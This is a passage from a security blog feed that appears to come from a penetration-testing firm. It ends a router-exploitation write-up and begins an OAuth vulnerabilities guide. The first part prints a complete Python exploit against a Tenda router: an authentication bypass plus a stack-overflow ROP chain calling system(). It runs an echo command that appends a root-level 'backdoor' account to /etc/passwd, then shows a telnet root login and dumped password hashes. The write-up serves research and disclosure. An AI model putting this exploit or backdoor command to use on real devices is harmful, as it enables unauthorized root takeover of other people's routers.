&lt;p&gt;After loading the command string’s address in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r0&lt;/code&gt;, we needed to “return” to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt;. Regarding this, I have a small confession to make. Even though I talked about a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; instruction until now, in the ARM32 architecture there is no such thing; a return is simply performed by loading an address into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pc&lt;/code&gt; register, which may be done with many different instructions. The simplest example that loads an address from the stack is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop {pc}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As a recap, what we needed to do is:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;write the command string’s address in the stack&lt;/li&gt;
  &lt;li&gt;load the address in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r0&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; function address in the stack&lt;/li&gt;
  &lt;li&gt;load the address in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In order to do that, we used &lt;a href=&quot;https://github.com/sashs/Ropper&quot;&gt;ropper&lt;/a&gt; to look for gadgets similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop {r0}; pop {pc}&lt;/code&gt;, but it was not easy to find a suitable one without a null byte in its address. Luckily, we actually found a nice &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop {r0, pc}&lt;/code&gt; instruction inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc.so&lt;/code&gt;, accomplishing both tasks at once.&lt;/p&gt;

&lt;p&gt;With GDB, we got the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__libc_system&lt;/code&gt; (don’t make the mistake of searching for just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt;, it’s not the right function) and calculated the address where the command string would be written to. We now had everything needed to run a shell command! But which command?&lt;/p&gt;

&lt;p&gt;We checked which binaries were in the system to look for something that could give us a reverse shell, like a Python or Ruby interpreter, but we could not find anything useful. We could have cross-compiled a custom reverse shell binary, but we decided to go for a much quicker solution: just use the existing Telnet server. We could simply create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backdoor&lt;/code&gt; user by adding a line to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt;, and then log in with that. The command string would be the following:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: you can generate a valid hash for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file with the following command:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl passwd &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-salt&lt;/span&gt; xyz hunter2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, here’s what the complete exploit looks like:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Equivalent to pwn.p32
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;gen_payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;timeto_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xbefff510&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;# addr of the time_to string on the stack, i.e. &quot;1&quot;
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;system_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4025c270&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;# addr of the system function
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' &amp;gt;&amp;gt; /etc/passwd&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# command to run with system()
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;cmd_str_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xbefff8e0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;# addr of the cmd string on the stack
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;pop_r0_pc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4023fb80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# addr of 'pop {r0, pc}' gadget
&lt;/span&gt;    
    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;880&lt;/span&gt;                 &lt;span class=&quot;c1&quot;&gt;# stuff we don't care about
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeto_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# addr of the time_to str from the stack, i.e. &quot;1&quot;
&lt;/span&gt;                                       &lt;span class=&quot;c1&quot;&gt;# here we are overwriting a bunch of ptrs to strings which are strcpy-ed before we reach ret
&lt;/span&gt;                                       &lt;span class=&quot;c1&quot;&gt;# so let's overwrite them with a valid str ptr to ensure it doesn't segfault prematurely
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_r0_pc&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;# ret ptr is here. we jump to 'pop {r0, pc}' gadget to load the cmd string ptr into r0
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd_str_addr&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# addr of the cmd string from the stack, to be loaded in r0
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;system_addr&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# addr of system, to be loaded in pc
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# the &quot;cmd&quot; string itself, placed at the end so it ends with '\0'
&lt;/span&gt;    
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/goform/saveParentControlInfo?img/main-logo.png&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Use CVE-2021-44971 Auth Bypass: https://github.com/21Gun5/my_cve/blob/main/tenda/bypass_auth.md
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;deviceId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;00:00:00:00:00:02&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;deviceName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;enable&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;time&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gen_payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;url_enable&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;urls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;x.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;day&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1,1,1,1,1,1,1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;limit_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Exploit sent&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Usage: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; IP:PORT&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Press enter to send exploit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Done! Login to Telnet with backdoor:hunter2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Connection closed unexpectedly&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The exploit worked flawlessly and added a new “backdoor” user to the system. We could then simply connect with Telnet to have a full root shell.&lt;/p&gt;

&lt;p&gt;The final exploit is also available &lt;a href=&quot;https://github.com/doyensec/exploitable-IoT-solution&quot;&gt;in the GitHub repository&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ telnet 127.0.0.1 20023
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Tenda login: backdoor
Password:
~ # cat /etc/passwd
root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;After the activity we investigated a bit and found out that the specific vulnerability we ended up exploiting was already known as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-13393&quot;&gt;CVE-2020-13393&lt;/a&gt;. As far as we can tell, our PoC is the first working exploit for this specific endpoint. Its usefulness is diminished however, due to the plethora of other exploits already available for this platform.&lt;/p&gt;

&lt;p&gt;Nevertheless, this challenge was such a nice learning experience. We got to dive deeper into the ARM architecture and sharpen our exploit development skills. Working together, with &lt;em&gt;no reliable Internet&lt;/em&gt; also allowed us to share knowledge and approach problems from different perspectives.&lt;/p&gt;

&lt;p&gt;If you’ve read this far, nice, well done! Keep an eye on our blog to make sure you don’t miss the next &lt;strong&gt;Web&lt;/strong&gt; and &lt;strong&gt;Binary&lt;/strong&gt; &lt;em&gt;!exploitable&lt;/em&gt; episodes.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Common OAuth Vulnerabilities</title>
   <link href="https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html"/>
   <updated>2025-01-30T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities</id>
   <content type="html">&lt;p&gt;OAuth2’s popularity makes it a prime target for attackers. While it simplifies user login, its complexity can lead to misconfigurations that create security holes. Some of the more intricate vulnerabilities keep reappearing because the protocol’s inner workings are not always well-understood. In an effort to change that, we have decided to write a comprehensive guide on known attacks against OAuth implementations. Additionally, we have created a comprehensive checklist. It should prove useful for testers and developers alike to quickly assess whether their implementation is secure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download the OAuth Security Cheat Sheet Now!&lt;/strong&gt; &lt;a href=&quot;https://doyensec.com/resources/Doyensec_OAuth_CheatSheet.pdf&quot;&gt;Doyensec_OAuth_CheatSheet.pdf&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;oauth-introduction&quot;&gt;OAuth Introduction&lt;/h1&gt;

&lt;h2 id=&quot;oauth-terminology&quot;&gt;OAuth Terminology&lt;/h2&gt;

&lt;p&gt;OAuth is a complex protocol with a many actors and moving parts. Before we dive into its inner workings, let’s review its terminology:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Resource Owner&lt;/strong&gt;: Entity that can grant access to a protected resource. Typically, this is the end-user.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Client&lt;/strong&gt;: Application requesting access to a protected resource on behalf of the Resource Owner.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Resource Server&lt;/strong&gt;: Server hosting the protected resources. This is the API you want to access.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Authorization Server&lt;/strong&gt;: Server that authenticates the Resource Owner and issues Access Tokens after getting proper authorization. For example, &lt;a href=&quot;https://auth0.com/&quot;&gt;Auth0&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;User Agent&lt;/strong&gt;: Agent used by the Resource Owner to interact with the Client (for example, a browser or a native application).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;OAuth 2.0 RFC: &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;OAuth Terminology: &lt;a href=&quot;https://auth0.com/docs/get-started/authentication-and-authorization-flow/which-oauth-2-0-flow-should-i-use#oauth-2-0-terminology&quot;&gt;#oauth-2-0-terminology&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;oauth-common-flows&quot;&gt;OAuth Common Flows&lt;/h2&gt;

&lt;p&gt;Attacks against OAuth rely on challenging various assumptions the authorization flows are built upon. It is therefore crucial to understand the flows to efficiently attack and defend OAuth implementations. Here’s the high-level description of the most popular of them.&lt;/p&gt;

&lt;h2 id=&quot;implicit-flow&quot;&gt;Implicit Flow&lt;/h2&gt;
&lt;p&gt;The Implicit Flow was originally designed for native or single-page apps that cannot securely store Client Credentials. However, its use is now discouraged and is not included in the OAuth 2.1 specification. Despite this, it is still a viable authentication solution within Open ID Connect (OIDC) to retrieve &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id_tokens&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In this flow, the User Agent is redirected to the Authorization Server. After performing authentication and consent, the Authorization Server directly returns the Access Token, making it accessible to the Resource Owner. This approach exposes the Access Token to the User Agent, which could be compromised through vulnerabilities like XSS or a flawed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; validation. The implicit flow transports the Access Token as part of the URL if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;response_mode&lt;/code&gt; is not set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;form_post&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/oauth-implicit-flow.png&quot; alt=&quot;OAuth Implicit Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.2&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749#section-4.2&quot;&gt;https://datatracker.ietf.org/doc/html/rfc6749#section-4.2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://auth0.com/docs/get-started/authentication-and-authorization-flow/implicit-flow-with-form-post&quot;&gt;https://auth0.com/docs/get-started/authentication-and-authorization-flow/implicit-flow-with-form-post&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;authorization-code-flow&quot;&gt;Authorization Code Flow&lt;/h2&gt;

